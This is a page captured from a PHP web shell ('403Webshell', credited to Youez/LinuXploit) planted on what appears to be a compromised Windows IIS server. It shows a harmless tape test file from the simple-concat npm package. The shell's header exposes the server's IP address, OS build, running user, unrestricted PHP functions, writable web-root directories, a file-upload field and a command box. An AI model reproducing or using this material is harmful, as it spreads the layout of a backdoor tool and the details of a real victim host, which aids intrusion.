403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/simple-concat/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/simple-concat/test/basic.js
var concat = require('../')
var stream = require('stream')
var test = require('tape')

test('basic', function (t) {
  t.plan(2)
  var s = new stream.PassThrough()
  concat(s, function (err, buf) {
    t.error(err)
    t.deepEqual(buf, Buffer.from('abc123456789'))
  })
  s.write('abc')
  setTimeout(function () {
    s.write('123')
  }, 10)
  setTimeout(function () {
    s.write('456')
  }, 20)
  setTimeout(function () {
    s.end('789')
  }, 30)
})

test('error', function (t) {
  t.plan(2)
  var s = new stream.PassThrough()
  concat(s, function (err, buf) {
    t.ok(err, 'got expected error')
    t.ok(!buf)
  })
  s.write('abc')
  setTimeout(function () {
    s.write('123')
  }, 10)
  setTimeout(function () {
    s.write('456')
  }, 20)
  setTimeout(function () {
    s.emit('error', new Error('error'))
  }, 30)
})

Youez - 2016 - github.com/yon3zu
LinuXploit